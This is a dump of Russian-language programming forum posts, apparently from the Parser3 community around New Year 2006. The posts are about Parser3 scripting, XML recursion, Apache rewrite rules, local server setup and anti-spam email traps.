Твоя работа? Идея-то точно твоя - не отмажешься :)\
\
============\
\
ЗЫ. То: ПАФ, Миша. Никто физически не пострадал, надеюсь?\
\
Мои соболезнования. В любом случае: налёт - это всегда не приятно :("
"48505","> спамеры уже давно ушли от технологии сканирования сайтов\
\
Насколько давно? По крайней мере год назад ещё активно пользовали. Я просто провел эксперимент, - в HTML коде сделал закомментированный новый адрес (понятно что невидимый в браузере), специально предназначенный в качестве наживки для роботов. Затем почтовый сервер настраивается для отлупа всех писем, в числе получателей которого этот адрес, т.к. заведомо известно что этот адрес мог быть получен только автоматическим сборщиком. Ещё как клюнули и до сих пор клюет.\
\
Если интересно, - см. код pro-obraz.ru и отправьте письмо на указанный там адрес :)"
"48506","не сомневаюсь, те кто только-только начал этим заниматься, продолжают сканировать. А вот тек кто действует более широко, они давно наплевали на сканирование. берут любой английский словарь и подставляют имена наугад, плюс делают комбинации с цифрами. Им не важно что письмо не дошло, главное что отправлено.\
\
Такими тонкостями со мной админ наш поделился, руководитель проекта http://www.opennet.ru"
"48507","Ctrl+Shift+T (B, Q, C & U available for [b/], [quote/], [code/] and [url/] as well)\
\
P.S. I checked it only in IE 5.5, FF 1.5 & Opera 9TP1"
"48512","может только на каком-то мегестаром windows путь/с/такими/разделителями не отработает.\
\
рекомендуется везде писать / и не брать в голову."
"48513","что плохо:\
что, грубо говоря, в одной переменной у вас может лежать либо строка, либо число.\
\
при том, что вроде как никто вас не ограничивает, и не мешает сделать так:\
[code]\
#config.txt\
special_name   special_value\
хитрая строка  \
[/code]\
или\
[code]\
#config.txt\
special_name   special_value\
     12313\
[/code]"
"48514","в функцию совсем необязательно выделять что-то, вызываемое несколько раз.\
функция хороша тем, что \
1. имеет [b]имя[/b]\
2. имеет [b]локальные переменные[/b]\
\
неважно, что [i]сейчас[/i] функция вызывается лишь однажды.\
важно, что ясно, что делается.\
если, конечно, у неё хорошее [url=\"http://www.parser.ru/forum/?id=47985\"]имя[/url]."
"48515","на самом деле, есть разные подходы.\
\
мне нравится такой, что в где-то в CVS происходит ферментация, и компилиться всё вместе в любой момент времени не обязано.\
возможность потери файлов из-за краха HDD никто не отменял.\
\
тут есть варианты:\
\
ветка XXX:\
затяжные сложные изменения можно commit в отдельную ветку, которая находится сбоку от основного пути развития проекта, и, возможно, никогда в него не попадёт.\
\
см., например, ветку [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/types/pa_value.h?graph=1.126\"]autoptr[/url].\
\
ветка HEAD:\
если \
заранее известно, что изменения в конечную версию войдут, а [b]также[/b] \
есть предыдущие релизы проекта, оформленные отдельными ветками, в которые можно вносить bugfixes отдельно от HEAD,\
то\
кому-то может понравится commit'ить прямо в HEAD."
"48516","для тех, кто пользуется поиском по форуму?"
"48517","Но всегда можно сделать класс по созданию Flash (из того же PHP взять исходник). Правда, муторно это. Да и зачем?"
"48519","Ctrl+Shift+T в Opere = ставит символ табуляции и пытается добавить страницу в закладки"
"48520","я делал Ctrl-C & Ctrl-V, из многих источников - из форума, их помощи chm, с сайта...\
не работало, пока не вставил после uri ещё один tab.\
Теперь заработало"
"48521","[code]$f[^file::load[text;http://www.betfair.com/lite/;$.timeout(20) $.any-status(1)]]\
^if($f.status==302){\
$f[^file::load[text;http://www.betfair.com/${f.f.LOCATION};$.timeout(20) $.any-status(1)]]\
}\
$f.text[/code]\
Результат в файле - страничка с ошибкой, о том что браузер Parser не поддерживет куку и JS, используйте IE\
[quote]думаю можно перехватить и куку и если есть ещё что-то и подтвердить созданную сессию[/quote]\
Вот с этого момента, если можно, поподробнее..."
"48523","Все давольно просто, была ошибка выполнения запроса, так как он неправильно был составлен.\
вот правильный вариант этого запроса.\
[code]\
^table::sql{select sum(input)/1048576 as inp,sum(output)/1048576 as out from traffic where lan = '$form:lan' and date = '$form:date'}\
[/code]\
\
А если ннеобходимо что бы выводилась еще при этом дата, то запрос будет следующим.\
\
[code]\
^table::sql{select substring_index(date,' ',1) date,sum(input)/1048576 as inp,sum(output)/1048576 as out from traffic where lan = '$form:lan' and date = '$form:date' group by substring_index(date,' ',1) order by 1 asc}\
[/code]"
"48524","Разве только то, что некоторым придётся переучиваться от нажатия кнопки \"Enter\" на сочетание \"CTRL + Enter\"."
"48525","Enter всегда был переводом строки, им и остается сейчас. А по нажатию Ctrl + Enter происходит сабмит. Значение Enter не изменилось нисколько."
"48526","Есть папка, внутри которой могут быть файлы и вложенные папки с файлами. Нужно получить дату обновления последнего обновленного файла внутри указанной папки, учитывая вложенные папки, т.е. рекурсивно. Файлы могут обновляться по FTP, таким образом сделать тригер, срабатывающий при загрузке файла и попровляющий где-то (допустим в файле /mdate.log) дату последнего обновления невозможно.\
\
Идея такая: делать ^file:list[] в указанной директории, разделять файлы и папки, а потом менюшить файлы и смотреть их дату, менюшить папки и вызывать себя рекурсивно...\
\
Вот что получилось:\
\
[code]\
@get_dir_stat[path][_list;_files;_dirs;_stat]\
^if(def $path){\
	$path[^path.trim[end;/]]\
}\
$_list[^file:list[$path]]\
$_files[^table::create[$_list][$.limit(0)]]\
$_dirs[^table::create[$_list][$.limit(0)]]\
^_list.menu{\
	^if(-d \"$path/$_list.name\"){\
		^_dirs.append{$path/$_list.name}\
	}{\
		^_files.append{$path/$_list.name}\
	}\
}\
\
$result[^hash::create[]]\
^if($_files){\
	^_files.menu{\
		$_stat[^file::stat[$_files.name]]\
		$result.[$_files.name][$_stat.mdate]\
	}\
}\
^if($_dirs){\
	^_dirs.menu{\
		^result.add[^get_dir_stat[$_dirs.name]]\
	}\
}\
# end @get_dir_stat[]\
[/code]\
\
И собственно метод, который вычисляет максимальную дату:\
\
[code]\
@get_max_date[hash][_dt;path;dt]\
^hash.foreach[path;dt]{\
	^if(def $_dt){\
		^if($dt > $_dt){\
			$_dt[$dt]\
		}\
	}{\
		$_dt[$dt]\
	}\
}\
$result[$_dt]\
# end @get_max_date[]\
[/code]\
\
Вызов этого добра:\
\
[code]\
$dt[^get_max_date[^get_dir_stat[]]]\
[/code]"
"48527","При попытке вставить ссылку, после ссылки припечатывается буква u"
"48528","Прошу не пинать ногами.\
Знаю только HTML, хочу попробовать Parser.\
Скачал \
Base_Parser_2005-10-07_a1.3.31_p4.4.0_m4.1.8_pma2.6.1_p314.exe\
Все установилось. Что делать дальше, ума не приложу. Собирался использовать редактор — Dreamweaver. Но даже на нем никогда не настраивал (не получалось) сервер. Искал по сети, на сайте, на форуме, но так и не нашел информации «Как начать работу»\
Буду признателен за дельные советы и ссылки."
"48530","вот вы что за софт[Base_Parser_2005-10-07_a1.3.31_p4.4.0_m4.1.8_pma2.6.1_p314.exe] поставили?\
по нему есть ведь документация,\
что конкретно вы в ней не поняли?\
\
укажите: название документа, что вы прочли (желательно его  url), цитату, описывающую работу с Parser, и конкретное описание, что в процитированном фрагменте вам неясно."
"48531","Пример\
/page/?id=1&sch=aaa\
необходимо преобразовать в\
/page/i1/?sch=aaa\
\
Делаю так\
RewriteRule ^d([0-9]+)/i([0-9]+)/([?&a-zA-Z0-9_=]*)$ index.html?div=$1&id=$2&$3 [L]\
\
но параметр sch игнорируется"
"48532","и ходите, чтобы другие делали это за вас?\
\
http://www.parser.ru/links/\
\
тема закрыта.\
приводить готовые решения, которые разжижают мозги читателям, запрешено."
"48533","возможно там эта комбинация клавиш используется (или вы сами использовали её под себя). я проверил только в 9.0TP1 с настройками по умолчанию, комбинация свободна. в FF1.5 и IE5.5 она также свободна, поэтому я и остановился на Ctrl + Shift + буква\
\
соответственно пока я править не буду, подожду релиза 9, если там изменится - поправлю. в любом случае можно кликнуть на [ TAB ] внизу страницы."
"48534","Уважаемый PAF! Чтением документации я в данный момент и занимаюсь.\
Сделал все, что изложено в:\
http://www.denwer.ru/base.html\
Проверил все, что требовалось через\
http://localhost\
Скачал\
parser3_2_0.ru.pdf\
и читаю его.\
Единственно о чем я прошу — посказать, как мне облегчить начало работы с программой, какой редактор лучше использовать (с учетом того, что знаю я пока только Dreamweaver).\
К сожалению пока найти пошаговую инструкцию для ламеров не смог. Видимо придется пойти длинным путем."
"48535","Dreamweaver - это WYSIWYNG редактор, для написания кода на ПАРСЕР его не обя зательно исползовать, хотя и можно, скрипты не преобразуются в визуальное представление редактором.\
Подойдет любой текстовый редактор, каждый выбирает для себя сам, с каким ему удобней работать.\
Для начала можете выбрать любой из представленных здесь http://www.parser.ru/links/ , кладёте в веб пространство чистую html страничку открываете её с помощью редактора пишите скрипты из примеров и через браузер смотрите результат работы.\
Успехов"
"48536","[code]\
@get_max_date[hash][_dt;path;dt]\
# создаем заведомо устаревшую дату\
$_dt[^date::create(0)]\
^hash.foreach[path;dt]{\
	^if($dt > $_dt){$_dt[$dt]}\
}\
$result[$_dt]\
# end @get_max_date[]\
[/code]"
"48537","по самому Parser есть Урок1 Урок2 Урок3, см. документацию по parser.\
\
как пользоваться продуктом denver -- см. документацию по denver.\
\
какой текстовый редактор использовать, дело вашего вскуса"
"48538","[code]\
@get_max_hash_value_date[hash][value]\
$result[^date::create(0)]\
^hash.foreach[;value]{\
	^if($value>$result){$result[$value]}\
}\
[/code]"
"48540","[code]\
$_list[^file:list[$path]]\
$_files[^table::create[$_list][$.limit(0)]]\
$_dirs[^table::create[$_list][$.limit(0)]]\
^_list.menu{\
	^if(-d \"$path/$_list.name\"){\
		^_dirs.append{$path/$_list.name}\
	}{\
		^_files.append{$path/$_list.name}\
	}\
}\
[/code]\
\
=>\
\
[code]\
$_list[^file:list[$path]]\
$_files[^_list.select(-f \"$path/$_list.name\")]\
$_dirs[^_list.select(-d \"$path/$_list.name\")]\
[/code]\
\
но вообще я пошел бы по другому пути. \
1. создал бы метод, который возвращает таблицу с полным списком файлов и каталогов начиная с заданной, при этом имеющий флаг \"обходить подкаталоги\". \
\
2. .sort этой таблицы :)\
\
чтобы ускорить можно в один из столбцов возвращаемой таблицы добавлять timestamp"
"48542","в сообщении содержится текст типа:\
[b]1)  [list]I am a 'li' tag[/list]\
2)  [url=http://url]URL text[/url]\
3)  [url]http://url[/url][/b]\
Мне нужен результат кода \
[b]1)  <li>I am a 'li' tag</li>\
2)  <a href=\"http://url\">URL text</a>\
3)  <a href=\"http://url\">http://url</a>[/b]"
"48543","большую давно неуловимую проблему с памятью с XML уловил, исправил по-простому."
"48544","полностью переписал работу с DOM в Parser, отказавшись от давно раздражавшей меня трудособираемой библиотеки gdome.\
\
упростил сборку на unix версии с поддержкой XML до\
1. выкачиваем исходники parser\
2. распаковываем их\
3. запускаем ./build-with-xml\
4. забираем результат из $HOME/parser3install\
5. радуемся\
\
всех с Новым Годом!"
"48545","Поздравляю с наступающим.\
Желаю чтобы все баги отлавливались, \
работа была в радость \
в личной жизни все складывалось.\
Ну и еще здоровья вагон.\
И денег. много :)"
"48549","Вопрос не совсем по parser но я знаю что здесь есть люди которые с лёгкость ответят:\
\
возможно ли следующее (цитирую):\
\
Что нада вписать в файл .htaccess чтобы начинался всегда домен с www?\
т.е. как бы не набирал пользователь адрес с www или без него, всегда автоматом ставил www"
"48550","Создал менюшку на JavaScript в Sothink, а она при добавлении в auto.p не отображается на странице. Просто как будто ее пропустили при обработке страницы.\
Хотя в тоже время если сделать пустой index.html:\
[code]\
@main[]\
и далее вызов меню\
[/code]\
то все работает.\
\
Ни у кого такой проблемы не было?"
"48551","[code]\
RewriteEngine on\
RewriteBase /\
RewriteCond %{HTTP_HOST} !^www\\.domain\\.com$ [NC]\
RewriteRule ^(.*)$ http://www.domain.com/$1 [NS,R,L]\
[/code]"
"48555","Мой Вам совет! Не используйте визуальные редакторы!\
1. Сложно работать с парсером (да как правило и с любым другим скриптовым языком на стороне сервера)\
2. Чистота кода оставляет желать лучшего (размер файла HTML при чистке его потом руками уменьшается в 4-5 раз! (мне довольно часто приходится \"Вылизывать\" чужие сайты))\
Посомтрите лучше на http://www.webmascon.com/ - там много информации по тому как правильно кодить ну и конечно документацию на parser! Там вполне понятно описано что и как делать с \"нуля\"."
"48556","Ну так в таком случае парсер выдавал бы ошибку или это не обязательно?\
код состоит из присерно таких строчек:\
[code]\
stm_bm([\"menu3187\",600,\"\",\"blank.gif\",0,\"\",\"\",2,0,250,0,1000,1,0,0,\"\",\"\",0,0,1,2,\"default\",\"hand\",\"\"],this)^;\
stm_bp(\"p0\",[0,4,0,0,0,0,0,0,100,\"\",-2,\"\",-2,50,0,0,\"#999999\",\"#999999\",\"\",3,0,0,\"#000000\"])^;\
... и так далее\
[/code]\
и притчки, честно говоря, не помогают."
"48558","Пользователь мог открыть страницу и уйти на 3 часа."
"48559","вынесите весь javascript в отдельный метод, скажем @js[]\
и в нём уберите все птички. И посмотрите что получится."
"48560","Возможно комуто покажется, что я не к месту пишу, но я хочу перед новым годом ещё раз напомнить о продукте сделанном на Parser.\
\
http://www.typograf.ru\
\
В уходящем году было типографировано более 24 тысяч текстов на русском, украинском и английском языках. Что говорит о неплохом качестве и результате типографирования.\
\
Сделаны удобные пользовательские настройки и более сотни полезных мелочей.\
\
В следующем году я планирую сделать открытый доступ с примерами и темплейтами, которые позволят размещать форму Типографа в ваших CMS системах. Конечно-же проект будет развиваться и дальше, настройки станут ещё более гибкими, добавятся новые возможности.\
\
Если вам есть что сказать в пользу развития сервиса, напишите мне.\
\
P.S. Миша, полюби типографику :)"
"48562","Пусть у всех нас будет много денег, алкоголя, секса и прочих творческих успехов в новом году. :)"
"48564","Всегда можно сделать скрипт, который будет обращаться к определенному адресу раз в какое-то время и обновлять дату в БД.\
Скрипт может работать сам, независимо от того делает пользователь что-то на сайте или нет. Главное, что бы страница была открыта.\
\
P.S. Я в свое время делал подобное в корпоративном интранете.\
\
Отвечаю на попрос Parkhomenko Petr'a: Ищи по форуму. Обсуждалось точно"
"48565","Ни добавить, ни убавить. Поддерживаю всецело :)\
\
Коллектив Студии, а равно софорумников, с НГ! Всех благ!"
"48566","в связи с этим: http://www.parser.ru/forum/?id=48543\
сменил подход к вводу подстроки, подробности [url=\"http://www.spearance.ru/parser3/lrstring/\"]здесь[/url]."
"48567","Это не зависит ни от какого скрипта. Можно только по активности пользователя определить что он есть. Если нет активности, сказать что он есть - никак нельзя."
"48569","Я имел в виду можно определить открыта определенная страница у пользователя или нет.\
Хотя, при большом желании, можно извратиться и прикрутить отслеживание движения мыши и JS_HTTP_request :)"
"48570","Для скачивания версия от 04 января 2005 ? Годичной давности медленно проект развивается...\
\
Но последня версия орфографирования СУПЕР. Но так как скачать нельзя то и смысла мало так как подобных сервисов достаточно много и есть более мощные."
"48571","Зато будет возможность запостить данные и получить готовый результат обратно из своей CMS.\
\
Судить о том как развивается проект можно по разделу \"изменения\".\
\
На счёт мощности других сервисов, очень сомневаюсь... В разделе \"о нём\" я специально собрал ссылки на подобные сервисы, которые явно уступают по качеству типографирования."
"48572","а не как удалённый.\
\
Лично я никогда не буду типографирвоать/проверять текст удалённо, отправляя его неведомо кому (это не камень в Ваш огород).\
Необходим нормальный скрипт, скачав который и прикрутив к своему проекту можно им нормально пользоваться.\
Но будет ли желание делать навороты в локальной версии и раздавать всё это бесплатно - Вам видней, конечно.\
\
Продукт хороший.\
Сам им пользуюсь, за что говорю большое спасибо!"
"48573","Интересна только логика работы в данном случае, почему не вычисляет сразу."
"48574","поиски программера способного его воплотить в жизнь - ведутся.\
\
Также возможно появится cgi версия Типографа, которую можно будет использовать непосредственно на своём сайте."
"48575","но что мешает это делать вам самому?\
как-то сделал свой вариант, он крутится в нескольких моих проектах, не такой навороченный, сделал , потом дополнял правилами и спасибо PAF`у(за помощь в стратегии) и, потом уже, Spearance(за тактику) - вышел не такой и плохой набор скриптов - работает, клиенты не жалуются"
"48576","Юджин спросил мнения - я ответил.\
Ни больше, ни меньше."
"48577","Что стоит выносить как отдельный модуль?"
"48578","Решил немного понять в чём же прелесть XML, лично меня заинтересовала вот такая идея.\
\
Например имеем XML:\
\
[code]\
<level1 id=\"level2\">\
	<level2 id=\"level2\">\
		<level3 id=\"level3\">\
			<level4 id=\"level4\"></level4>\
		</level3>\
		<level3></level3>\
	</level2>\
</level1>\
[/code]\
\
Теоретчески это может продолжаться до бесконечности. \
Вопрос в следующем: если структура известна то можно делать:\
\
[code]\
$list[^xml_file.select[/level1/level2]]\
^for[i](0;$list-1){\
    $node[$list.$i]\
    + $node.nodeName [ ^node.getAttribute[id] ]<br>\
}\
[/code]\
\
А как быть если структура не известна, тоесть дерево продолжается и изменяется. Тоесть нужно получить доступ к каждому элементу ( в цикле ? ), а как я не могу понять. \
\
В документации нашёл $NodeList[$узел.childNodes] думал она будет мне строить по очереди детей каждого узла, но не получается.\
\
Кому не лень и кто знает подскажите."
"48579","1. мне кажется вы пошли немного не в ту сторону. xml - это данные. работать с данными, структура которых неизвестна - не очень хорошая идея. обычно сначала описывают структуру данных, а потом работают с ними.\
\
2. несмотря на пункт 1, поставленная вами задача решается достаточно просто. пишется метод аналогичный рекурсивному обходу дерева (в примерах о древовидных структурах), только для получения списка элементов определенного уровня вместо таблица.select используется упомянутый вами $NodeList[$узел.childNodes], ну и for вместо menu, т.к. childNodes - это хеш, у которого нет menu, а если вы будете использовать foreach то потеряете исходную последовательность узлов. а после того, как этот метод написан пишите: ^goAllChild[^xml_file.selectSingle[/level1]]"
"48580","[code]@main[]\
2+2 = ^four[]\
\
@four[]\
2+2[/code]\
Итого: [b]2+2 = 2+2[/b] (А не [b]2+2 = 4[/b] или вообще [b]true[/b])"
"48581","Что то всё равно общую картину работы построения деревьев не могу представить/\
\
Получилось вот что:\
\
@xml[]\
\
$xml_file[^xdoc::load[/data.xml]]\
\
$list[^xml_file.select[/level1]]\
^for[i](0;$list-1){\
    $node[$list.$i]\
    + $node.nodeName [ ^node.getAttribute[id] ]<br>\
    ^get_child[$node]\
}\
\
@get_child[node]\
$node_list[$node.childNodes]\
^for[i](0;$node_list-1){\
    $this_node[$node_list.$i]\
    ++ $this_node.nodeName<br>\
}\
\
\
Результат вообще непонятный:\
\
+ level1 [ level2 ]\
++ #text\
++ level2\
++ #text\
\
to Misha v.3\
\
объясни для чайников как правильно это сделать, на примере моего xml файла, через твоё ^goAllChild[^xml_file.selectSingle[/level1]]\
А то я кругами хожу. Плиз."
"48582","Спасибо за живое общение."
"48583","Год был очень продуктивным вплане работы. Не знаю, что бы я делал без Parser-а.\
Спасибо."
"48584","у меня вопрос по установке parser на комп под apache 1.3 \
ставлю пакет денвер, потом parser 3_1_4ru, код в httpd.conf, который на русском языке все прописано, что указано в документе.\
прописываю меню - все равно ни фига не вижу, только код вида - ^navigation[] и все.\
в чем дело объясните и помогите. очень прошу.\
спасибо"
"48585","1. Попробуйте скачать и поставить денвер сразу с парсером\
2. Попробуйте ссоздать в директории www файл .htaccess и прописать туда парсер как обработчик html файлов\
3. Если это не помогло то прочитайте инструкцию\
4. Если не помогло и это то поищите по форуму"
"48587","Поздравляю всех пользователей этого форума с Новым годом!\
Выражаю благодарность тем, кто в течении этого года помогал мне в создании интернет-проэктов, тем, кто критиковал меня или выдвигал другие точки зрения.\
Без Вас я врядли бы сделал то, что есть у меня сейчас.\
\
Отдельная благодарность разработчикам и сопроводителям этого языка, который Нас объединяет.\
\
С Новым, 2006-м годом!"
"48589","С Наступившим 2006ым! ;-)"
"48590","Уже три дня мучаюсьникак то что надо не выходит.\
\
XML:\
\
[code]\
<data>\
<level1 id=\"level1\">\
        <level2 id=\"level2\" parent=\"level1\"/>\
        <level2 id=\"level2\" parent=\"level1\">\
                <level3 id=\"level3\" parent=\"level2\">\
                        <level4 id=\"level4\" parent=\"level3\"/>\
                </level3>\
                <level3 id=\"level3\" parent=\"level2\"/>\
        </level2>\
</level1>\
</data>\
[/code]\
\
Вот что смог придумать, сам понимаю что чушь но как сделать правильнее не пойму:\
\
[code]\
@xml[]\
$xml_file[^xdoc::load[/data.xml]]\
^get_tree[^xml_file.selectSingle[data]]\
\
@get_tree[tree]\
$tree_list[$tree.childNodes]\
^for[i](0;$tree_list-1){\
    $tree_node[$tree_list.$i]\
    ^if($tree_node.nodeType==1){+ $tree_node.nodeName / $tree_node.nodeType<br />}\
    ^if(^tree_node.hasChildNodes[]){^get_child[$tree_node]}\
}\
\
@get_child[node]\
$node_list[$node.childNodes]\
^for[a](0;$node_list-1){\
    $this_node[$node_list.$a]\
    ^if($this_node.nodeType==1){++ $this_node.nodeName / $this_node.nodeType<br> }\
    ^if(^this_node.hasChildNodes[]){+^get_child[$this_node]}\
}\
[/code]\
\
В результате получаем:\
\
+ level1 / 1\
++ level2 / 1\
++ level2 / 1\
+ ++ level3 / 1\
+ ++ level4 / 1\
\
Как видно зарываемся в одну из веток и дальше не идёт.\
\
Подскажите как правильно сделать рекурсию по XML дереву"
"48591","1. вы видите разницу между get_tree и get_child? я - нет (кроме плюсика). убейте get_tree.\
2. объявите локальными переменные node_list, a и this_node  - все должно заработать.\
3. this_node по большому счету не нужна, можно писать так:\
$node_list.[$a].nodeType и т.д."
"48592","Задачи, с решениями, можно посмотреть тут, например:\
\
http://www.raleigh.ru/XML/XSLTutorial/contents.htm\
\
http://www.raleigh.ru/XML/XSLTutorial/contents.htm"
"48595","[code]\
@get_child[node][this_node;node_list]\
$node_list[$node.childNodes]\
^for[a](0;$node_list-1){\
    $this_node[$node_list.$a]\
    ^if($this_node.nodeType==1){+ $this_node.nodeName / $this_node.nodeType<br> }\
    ^if(^this_node.hasChildNodes[]){+ ^get_child[$this_node]}\
}\
\
^get_child[^xml_file.selectSingle[data]]  \
\
[/code]\
\
выдаёт:\
\
+ level1 / 1\
+ + level2 / 1 ( этого вообще не понял ?? - level2 )\
+ level2 / 1\
+ + level3 / 1\
+ + level4 / 1\
\
Не ужели построить xml дерево рекурсией такая невыполнимая задача.\
Неужели никто на этом форуме этого не делал, вроде людей толковых много - помогите."
"48597","Задача: Получить код страницы www.betfair.com/lite/\
\
[code]$f[^file::load[text;http://www.betfair.com/lite/;$.timeout(20) $.any-status(1)]]\
^if($f.status==302){\
$f[^file::load[text;http://www.betfair.com/${f.f.LOCATION};$.timeout(20) $.any-status(1)]]\
}\
$f.text[/code]\
Результат в файле - страничка с ошибкой, о том что браузер Parser не поддерживет куку и JS, используйте IE\
[quote]думаю можно перехватить и куку и если есть ещё что-то и подтвердить созданную сессию[/quote]\
Средствами парсера возможно?"
"48598","Надо отдать должное, libxml стали использовать в Parser задолго до того как на него перешли в PHP. Так чем же так плох для Вас sqlite????"
"48600","однако если вы воспользуетесь поиском по форуму, то увидите, что сторонние разработки в этом направлении есть. в какой они стадии я не знаю, т.к. не слежу за ними."
"48601","как то неправильно строиться, не соблюдается порядок\
получаемый результат:\
\
+ level1 / 1\
++ level2 / 1\
+ level2 / 1\
++ level3 / 1\
++ level4 / 1\
++ level5 / 1\
+ level3 / 1\
\
хотелось бы\
\
+ level1 / 1\
++ level2 / 1\
++ level2 / 1\
+++ level3 / 1\
++++ level4 / 1\
+++++ level5 / 1\
+++ level3 / 1\
\
Повторю XML файл:\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<data>\
<level1 id=\"level1\">\
        <level2 id=\"level2\" parent=\"level1\"/>\
        <level2 id=\"level2\" parent=\"level1\">\
                <level3 id=\"level3\" parent=\"level2\">\
                        <level4 id=\"level4\" parent=\"level3\">\
                        <level5 id=\"level5\" parent=\"level5\"/>\
                        </level4>\
                </level3>\
                <level3 id=\"level3\" parent=\"level2\"/>\
        </level2>\
</level1>\
</data>\
[/code]\
\
Может ещё дадите совет как оптимизировать код чтоб построение происходило более правильно."
"48603","Надеялся что следующая сборка не будет требовать доступа к /proc/self/stat... Но увы... Последняя тоже не работает под Линукс со стандартными настройками безопасности"
"48604","[Mon Jan  2 04:09:31 2006] [44431] /: /home/****/public_html/@/classes//db.p(190:10): 'mysql://****@localhost/****' Client does not support authentication protocol requested by server; consider upgrading MySQL client [sql.connect]"
"48606","[b]Найти[/b]"
"48607","Я сначала очень обрадовался когда наткнулся на Ваш сайт, \
решил что наконец нашел, но потом разобрался что Вы создаете \
альтернативный вариант perl&php интерпретатора.\
Я искал более простой обработчик, в котором заложены базовые \
cgi-функции, которые облегчат интернет программирование, \
например:\
- простой/ассоциативный массив (достаточно одного на весь \
скрипт, что бы держать в нем все переменные и не беспокоится \
об утечках памяти) - желательно с бинарным поиском индекса\
- функции упрощающие работу со строками, строками-цифрами,\
можно и на базе общего массива, главное что бы не дергаться \
по поводу выделения и сбора памяти \
- минимальный, встроенный str_replace, что бы сразу решить \
проблему отделения кода от дизайна, достаточно что бы он умел \
находить начало, конец, вытаскивать вложеное слово или число и \
вставлять нужный текст, т.е. по такой логике\
(|TITLE|) (|CODEPAGE|) => \
str_extract(\"index.tpl\",\"(|\",\"|)\") => \"TITLE\",\"CODEPAGE\" => \
str_replace(\"(|\",\"|)\",{\"TITLE\",\"CODEPAGE\"},{\"Homepage\",\"utf-8\"}),\
а в самих шаблонах никакой логики не будет только простые \
переменные, циклы я могу реализовать сам добавлением знаков \
начала и конца цикла (вложенные циклы тоже дело техники)\
- у большинства sql-серверов существуют API-библиотеки, поэтому \
если решить вопрос эффективной реализации, работы со строками и \
массивом, то остальное тоже дело техники\
\
При программировании обычных приложений проблем не было бы, \
но тут специфика немного другая, к тому же нужно писать \
маленький, быстрый и максимально платформонезависимый код, \
иначе потом такая каша будет что придется делать несколько \
отдельных версий программы.\
\
Раз Вы создали целый интерпретатор, то все перечисленное для \
Вас уже пройденный этап, возможно у Вас остались старые коды \
(я по себе знаю как сложно \"упрощать\" программы) в которых были \
реализованны отдельные функции.\
Может кто-нибудь подскажет другие источники.\
\
Заранее спасибо\
\
PS. Я как раз скачал Ваши исходники и документации, попробую \
разобраться и если смогу выделить из них требуемые фрагменты.\
PSS. К сожалению такой фокус с php у меня не прошел - \
вариант 50% php - все равно слишком большой скрипт (при том что \
там еще лишнего % 90)."
"48610","Например тем, что скорость работы с SQLite в десятки раз медленнее, чем, например с MySQL. Даже в сотни."
"48611","Написал для себя небольшую утилиту для удобного переключения окон, во время веб-разработки. Возможно будет кому еще интересно,\
\
Страница программы c полным описанием\\инструкциями:\
     http://softvoile.com/softvoile-rubilnik/\
Cкачать 70 кб:\
     http://softvoile.com/download/SoftvoileRubilnikSetup0.92Beta.exe\
\
фидбек приветствуется :)\
\
P.S. пользуясь случаем всех, с наступающим Новым Годом!"
"48612","Для начала\
http://www.cgicc.org/\
http://www.w3.org/Library/\
\
Буду разбираться"
"48613","Очень удобно! Спасибо огромное, Николай!"
"48614","С 1-м уроком(в документации) у меня проблема.\
Делаю так(или не так) как там написано.\
1)В корневом каталоге сайта создаю файл sections.cfg, в который помещаю таблицу в формате tab-delimited.\
2)В том же каталоге создаю auto.p и вставляю в него код:\
\
[code]@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"middle\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table>[/code]\
\
3)В код страницы вставляю: [code]^navigation[][/code]\
В открытом браузером файле должно отображаться меню навигации, но вместо меню просто отображается слово ^navigation[]\
P.S.[i]Возможно я неправильно пишу таблицу в формате tab-delimited[/i]"
"48616","http://parser2.parser.ru\
\
он не настолько аскетичен, как вы описываете, однако, аппетит во время еды к вам обязательно придет, и вы обязательно захотите «немного добавить». вероятно, после определенных усилий получите «свое, любимое», однако обязательно подумайте об использовании «чего-то пусть не своего, но готового: продуманного и отлаженного».\
\
правда, обычно исходников Parser2 мы не раздаем (всегда готовы собрать под нужную платформу).\
\
если вы готовы дописать sqlite поддержку, мы готовы обсудить варианты."
"48618","А когда человек почитает FAQ (где есть ответ не только на этот вопрос), то многих проблем он избежит еще ДО.\
\
Но пока на вопросы из FAQ'а отвечают в форуме, проблемы, описанные в FAQ'е, у людей будут возникать постоянно."
"48619","Из базы данных извлекается содержание и тип\
По типу извлекается обработчик\
Хотелось бы чтобы содержание выводилось внутри обработчика:\
<обработчик(XML или HTML)>содержание</обработчик>\
\
Пробовал:\
$1 SELECT content, type_id\
$1.menu{\
$2 SELECT content WHERE type = $1.type_id\
\
$2 хранилась следуещего вида <parser>$1.content</parser>\
$2.menu{<parser>$1.content</parser>}\
Но данное решение не кажется слишком элегантным."
"48620","Не ужели так мало хостингов с MySQL..."
"48621","позавчера слетел сайт...раньше стоял IIS теперь поставил апач (нужен для tomcat) столкнулся с проблемой что не могу подключить модуль старого Парсера 3 к Апачу 2.0 ..\
\
Новый вышел? или я неправильно понял проблему?"
"48623","ну все...я зол :)) все перепишу под любимые тяжеловесный JSP.!"
"48629","но у нас то прошу прощения\
$string1(2)\
$string2(2)\
^eval($string1 + $string2)\
\
@four\
^eval($string1 + $string2)== 4"
"48630","В итоге: ^eval(число строка число строка число). Конечно, будет invalid number."
"48631","на сайте http://www.site1.ru находится скрипт который выполняется с других сайтов и резхультат его работы вставляется на стриницу с которой он вызывался. Как определить с какого сайта был запущен этот скрипт."
"48632","Правильно, $env:REMOTE_ADDR и $env:REMOTE_HOST. У вас ровно то же, если скрипт запрашивают средствами парсера (^file::load[]) или другого [i]серверного[/i] языка."
"48633","$env:REMOTE_ADDR и $env:REMOTE_HOST выдайт координаты сайта на котором находится скрипт, а получить координаты сайта откуда он загружался не получается"
"48634","Нет даже вот так $env:REMOTE_ADDR - работает правильно, а  $env:REMOTE_HOST ничего не выдает, а нужно получить страницу с которой запускался скрипт"
"48635","А рабочий есть?"
"48639","... т.к. его устанавливает сервер на основании того, с какого адреса пришел запрос (ну... по пути этот IP может еще изменить proxy сервер). IP вам в руки, резолвьте его и смотрите кто обращается, или попросите клиентов корректно идентифицировать себя."
"48640","Теперь предельно понятно...\
Спасибо :)"
